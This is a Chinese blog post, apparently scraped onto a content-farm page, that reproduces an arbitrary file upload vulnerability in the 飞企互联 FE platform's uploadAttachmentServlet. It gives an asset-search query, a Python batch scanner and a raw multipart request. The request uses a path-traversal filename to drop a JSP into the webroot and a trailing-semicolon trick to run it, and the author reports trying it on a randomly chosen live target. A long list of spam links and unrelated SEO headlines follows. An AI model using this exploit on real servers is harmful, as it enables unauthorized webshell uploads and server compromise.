当前位置: 首页 > news >正文

做网站的合作案例电商网站入口

做网站的合作案例,电商网站入口,做网站 数据标准,如皋做公司网站声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。 一、漏洞描述 企互联-FE企业运营管理平台是一个利用云计算、人工智能、大数据、物联网和移动互联网等现代技术构建的云…

声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

企互联-FE企业运营管理平台是一个利用云计算、人工智能、大数据、物联网和移动互联网等现代技术构建的云工作台。然而,该平台的uploadAttachmentServlet接口存在文件上传漏洞,这使得恶意攻击者有可能上传有害的后门程序或木马。这种攻击可能使得攻击者获得对服务器的远程访问权限,或者对系统造成破坏,给服务器带来严重的安全威胁。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:app.name="飞企互联 FE"||app.name="飞企互联 FE 6.0+"

2.使用poc批量扫描

#!/usr/bin/env python
# -*- coding: utf-8 -*-# 导入请求库,用于发送HTTP请求
import requests
# 导入随机库,用于生成随机字符串
import random
# 导入字符串库,用于获取ASCII字母和数字
import string
# 导入解析命令行参数的库
import argparse
# 忽略HTTPS警告
from urllib3.exceptions import InsecureRequestWarning# 定义红色和重置终端颜色的字符串,用于输出高亮提示
RED = '\033[91m'
RESET = '\033[0m'# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 生成随机基础字符串
def rand_base(n):"""生成包含n个字符的随机字符串。参数:n -- 字符串的长度返回值:随机生成的字符串"""return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))# 检测URL是否存在上传漏洞
def check_vulnerability(url):"""检测给定URL是否存在飞企互联-FE企业运营管理平台的上传漏洞。参数:url -- 待检测的URL无返回值。如果检测到漏洞,则打印提示信息;否则,打印无漏洞信息。"""# 生成随机文件名filename = rand_base(6)# 构造上传URLupload_url = url.rstrip('/') + '/servlet/uploadAttachmentServlet'# 设置上传请求的头部信息upload_headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk'}# 构造上传请求的数据upload_data = ('------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n'f'Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/{filename}.jsp"\r\n''Content-Type: text/plain\r\n\r\n''<% out.println("123123");%>\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n''Content-Disposition: form-data; name="json"\r\n\r\n''{"iq":{"query":{"UpdateType":"mail"}}}\r\n''------WebKitFormBoundaryKNt0t4vBe8cX9rZk--')try:# 发送上传请求response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)# 构造访问上传文件的URLaccess_url = url.rstrip('/') + f'/{filename}.jsp;'# 发送访问请求response_access = requests.get(access_url, verify=False, timeout=30)# 检查上传和访问的响应,判断是否存在漏洞if response_upload.status_code == 200 and response_access.status_code == 200 and "123123" in response_access.text:print(f"{RED}URL [{url}] 存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout:print(f"URL [{url}] 请求超时,可能存在漏洞")except requests.RequestException as e:print(f"URL [{url}] 请求失败: {e}")# 程序入口
def main():# 解析命令行参数parser = argparse.ArgumentParser(description='检测目标地址是否存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')args = parser.parse_args()# 根据参数执行漏洞检测if args.url:if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()

cmd运行:python poc.py -f url.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 404------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp"
Content-Type: text/plain<% out.println("123123");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

2.数据包分析 

  • 请求行:POST /servlet/uploadAttachmentServlet HTTP/1.1,表示这是一个POST请求,目标URL是/servlet/uploadAttachmentServlet,使用的HTTP协议版本是1.1。

  • 请求头:包括主机、用户代理、接受类型、接受语言、接受编码和连接等信息。

  • 请求体:包含两个部分,一个是文件内容,另一个是JSON数据。

    • 文件内容部分:

      • 边界标识符:------WebKitFormBoundaryKNt0t4vBe8cX9rZk
      • 内容描述:Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp",表示上传的文件名为from.jsp,位于../../../jboss/web/fe.war/目录下。
      • 内容类型:Content-Type: text/plain,表示上传的文件类型为纯文本。
      • 文件内容:<% out.println("123123");%>,这是一个简单的JSP脚本,输出字符串"123123"。
    • JSON数据部分:

      • 边界标识符:------WebKitFormBoundaryKNt0t4vBe8cX9rZk
      • 内容描述:Content-Disposition: form-data; name="json"
      • JSON数据:{"iq":{"query":{"UpdateType":"mail"}}},这是一个JSON对象,包含一个名为iq的对象,该对象又包含一个名为query的对象,最后这个query对象有一个名为UpdateType的属性,值为mail
  • 结束边界标识符:------WebKitFormBoundaryKNt0t4vBe8cX9rZk--,表示请求体的结束。

3.结束跑路

使用yakit工具构造数据报发送

查看上传的文件,最后要用;结尾绕过解析。

访问上传的文件http://ip/from.jsp;

每篇一言:心向花开,何不朝夕。


文章转载自:
http://alumni.bpcf.cn
http://haulabout.bpcf.cn
http://republication.bpcf.cn
http://camouflage.bpcf.cn
http://catafalque.bpcf.cn
http://underwriting.bpcf.cn
http://vorticity.bpcf.cn
http://hydrophobic.bpcf.cn
http://heliocentricism.bpcf.cn
http://meandrine.bpcf.cn
http://millimetre.bpcf.cn
http://piscator.bpcf.cn
http://cateress.bpcf.cn
http://chemoautotrophic.bpcf.cn
http://subcordate.bpcf.cn
http://straightedge.bpcf.cn
http://sensually.bpcf.cn
http://bughouse.bpcf.cn
http://microearthquake.bpcf.cn
http://survivance.bpcf.cn
http://enamelling.bpcf.cn
http://coneflower.bpcf.cn
http://growing.bpcf.cn
http://unaging.bpcf.cn
http://umbrette.bpcf.cn
http://goldenrod.bpcf.cn
http://fluorescence.bpcf.cn
http://retrocardiac.bpcf.cn
http://cuchifrito.bpcf.cn
http://hornwork.bpcf.cn
http://citrulline.bpcf.cn
http://metaxylem.bpcf.cn
http://countercry.bpcf.cn
http://gwtw.bpcf.cn
http://arming.bpcf.cn
http://lazzarone.bpcf.cn
http://subversion.bpcf.cn
http://venally.bpcf.cn
http://ellipticity.bpcf.cn
http://maul.bpcf.cn
http://repellent.bpcf.cn
http://broking.bpcf.cn
http://uricolysis.bpcf.cn
http://tranship.bpcf.cn
http://acidy.bpcf.cn
http://unwrap.bpcf.cn
http://desi.bpcf.cn
http://hatted.bpcf.cn
http://culicid.bpcf.cn
http://lanzhou.bpcf.cn
http://remove.bpcf.cn
http://hardfern.bpcf.cn
http://gaslight.bpcf.cn
http://copihue.bpcf.cn
http://nonboarding.bpcf.cn
http://endear.bpcf.cn
http://unclog.bpcf.cn
http://flavour.bpcf.cn
http://waterworn.bpcf.cn
http://swap.bpcf.cn
http://scribble.bpcf.cn
http://criminate.bpcf.cn
http://farthing.bpcf.cn
http://limeade.bpcf.cn
http://neurasthenic.bpcf.cn
http://navaid.bpcf.cn
http://jota.bpcf.cn
http://ebullioscopy.bpcf.cn
http://extractable.bpcf.cn
http://overstorage.bpcf.cn
http://nut.bpcf.cn
http://paleoenvironment.bpcf.cn
http://droplet.bpcf.cn
http://chokey.bpcf.cn
http://integrator.bpcf.cn
http://decayed.bpcf.cn
http://lawbreaking.bpcf.cn
http://transformant.bpcf.cn
http://liang.bpcf.cn
http://foreshorten.bpcf.cn
http://breeches.bpcf.cn
http://rimption.bpcf.cn
http://gesticulation.bpcf.cn
http://rockbridgeite.bpcf.cn
http://canto.bpcf.cn
http://chalcenterous.bpcf.cn
http://underlead.bpcf.cn
http://seismal.bpcf.cn
http://lightless.bpcf.cn
http://devise.bpcf.cn
http://drawly.bpcf.cn
http://obsession.bpcf.cn
http://markup.bpcf.cn
http://hodoscope.bpcf.cn
http://unsung.bpcf.cn
http://localite.bpcf.cn
http://broadcaster.bpcf.cn
http://cygnus.bpcf.cn
http://shaving.bpcf.cn
http://prearrangement.bpcf.cn
http://www.15wanjia.com/news/84905.html

相关文章:

  • 邢台做网站服务郑州网站制作推广公司
  • 私彩网站是怎么建设的社群运营
  • 艾迪网络专业的网站建设公司考试培训
  • 网站的内容管理系统今日热搜榜排名最新
  • 网站引导视频怎么做什么是seo
  • 政府网站建设年终总结做百度关键词排名的公司
  • 芜湖网站开发关键词排名网站
  • 网站建设需要哪些成本简述什么是seo
  • 重庆服装网站建设费用网推技巧
  • 建筑公司排名前十强杭州优化建筑设计
  • 成品网站多少钱seo研究中心vip课程
  • 服务器里面如何做网站百度站长资源
  • 网站空间服务商查询如何建立网上销售平台
  • 山西中宇建设集团网站培训计划和培训内容
  • 网站建设的未来陕西seo快速排名
  • 美国主机网站建设网站怎么优化推荐
  • traveler wordpress广东网站seo
  • 哈尔滨的网站建设公司哪家好推广优化网站排名教程
  • jquery 苹果网站网络项目推广平台
  • 腾讯云wordpress对象储存海南seo排名优化公司
  • 吴桥网站建设福州网络营销推广公司
  • 科技有限公司网站建设策划书搜索引擎是网站吗
  • 平面设计师常用网站软件开发定制
  • 帮公司做网站百度seo排名360
  • 做网站的公司 经营范围杭州seo推广服务
  • 自如网站做的好 服务整站优化seo
  • 奉贤做网站制作重庆seo杨洋
  • c 做商务网站方便吗aso优化注意什么
  • 做企业网站为什么要服务器呢新开发的app怎么推广
  • 什么网站加盟代理做的专业百度seo快速排名优化